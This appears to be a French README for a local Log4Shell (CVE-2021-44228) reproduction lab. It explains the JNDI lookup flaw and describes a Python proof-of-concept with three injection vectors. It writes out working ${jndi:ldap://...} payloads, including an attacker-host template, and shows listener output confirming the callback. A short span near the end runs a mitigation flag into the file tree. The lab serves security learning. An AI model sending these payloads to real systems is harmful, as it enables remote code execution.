
CVE-2021-44228 (Log4Shell) terrain de reproduction de la vulnérabilité | SpringBoot + Log4j2 2.14.1 | Validation de PoC avec 3 vecteurs d'attaque
⚠️ Avertissement : Ce projet est destiné uniquement à l'apprentissage de la sécurité et à la recherche technique. Tous les environnements de vulnérabilité sont montés localement et aucun système réel n'a été testé. Ne l'utilisez pas à des fins illégales. L'utilisation de ce projet se fait à vos propres risques.
Log4j2 est le framework de journalisation le plus utilisé dans l'écosystème Java. Il dispose d'une fonctionnalité Lookup qui permet d'insérer du contenu dynamique dans les journaux à l'aide de la syntaxe ${...}. Dans les versions 2.14.1 et antérieures, lorsque le contenu d'un journal contient ${jndi:...}, Log4j2 envoie automatiquement une requête JNDI à l'adresse spécifiée, ce qui permet à un attaquant d'exécuter du code à distance (RCE).
Cette vulnérabilité est référencée sous le numéro CVE-2021-44228, avec un score CVSS de 10.0 (score maximal). Ses conditions de déclenchement sont extrêmement simples, elle affecte presque toutes les applications Java utilisant Log4j2, et son exploitation est très peu coûteuse.
Prérequis : JDK 8+, Maven, Python 3, bibliothèque requests
Première étape : démarrer le laboratoire de vulnérabilité
Ouvrez le projet avec IDEA et exécutez VulnApplication.java. La sortie suivante indique que le démarrage a réussi :
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds
Deuxième étape : exécuter le script PoC
cd exploit
pip install requests
python exploit.py
${jndi:ldap://127.0.0.1:1389/EvilClass}
Injectez le payload via un paramètre d'URL pour déclencher logger.info("User Login: {}", username) :
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)
Injectez le payload via un en-tête de requête HTTP pour déclencher logger.info("User-Agent: {}", headers) :
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)
Injectez le payload via le corps d'une requête POST pour déclencher logger.info("Data: {}", body) :
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)
[+] Connexion reçue ! Depuis 127.0.0.1:51631
[+] Vulnérabilité confirmée ! Log4j2 a envoyé une requête JNDI
[+] Reproduction de CVE-2021-44228 réussie
Le serveur d'écoute a reçu une connexion TCP provenant du laboratoire, ce qui confirme que Log4j2 a analysé ${jndi:...} et envoyé une requête LDAP. La vulnérabilité est donc bien présente.
La fonctionnalité Lookup de Log4j2 permet d'insérer du contenu dynamique dans les journaux à l'aide de la syntaxe ${...}, par exemple ${env:PATH} pour lire une variable d'environnement ou ${sys:user.dir} pour lire une propriété système.
JNDI (Java Naming and Directory Interface) est l'interface de nommage et d'annuaire de Java. Si on lui fournit une adresse, elle la recherche et renvoie le résultat. Si le résultat est une classe Java, la JVM la charge et l'exécute automatiquement.
① L'attaquant saisit dans un champ de saisie : ${jndi:ldap://IP_attaquant:1389/EvilClass}
↓
② Le site reçoit la saisie et journalise avec logger.info()
↓
③ Log4j2 analyse le contenu du journal et détecte ${jndi:ldap://...}
↓
④ Log4j2 envoie une requête LDAP → se connecte au serveur de l'attaquant
↓
⑤ Le serveur LDAP de l'attaquant répond : "Téléchargez EvilClass.class à cette adresse"
↓
⑥ Le serveur victime télécharge et charge la classe EvilClass
↓
⑦ Le bloc de code static d'EvilClass s'exécute automatiquement → RCE (exécution de code à distance)
-Dlog4j2.formatMsgNoLookups=true aux paramètres de démarrage${jndi:log4j2-vuln-lab/
├── pom.xml # Configuration Maven, spécifie la version vulnérable Log4j2 2.14.1
├── exploit/
│ └── exploit.py # Script d'exploitation PoC, 3 vecteurs d'attaque + vérification par écoute TCP
└── src/main/
├── java/com/vuln/log4j/
│ ├── VulnApplication.java # Classe de démarrage SpringBoot
│ └── controller/
│ └── UserController.java # 3 points d'injection de vulnérabilité (paramètre GET/en-tête UA/corps POST)
└── resources/
├── application.yml # Configuration du numéro de port + niveau de journalisation
└── log4j2.xml # Fichier de configuration Log4j2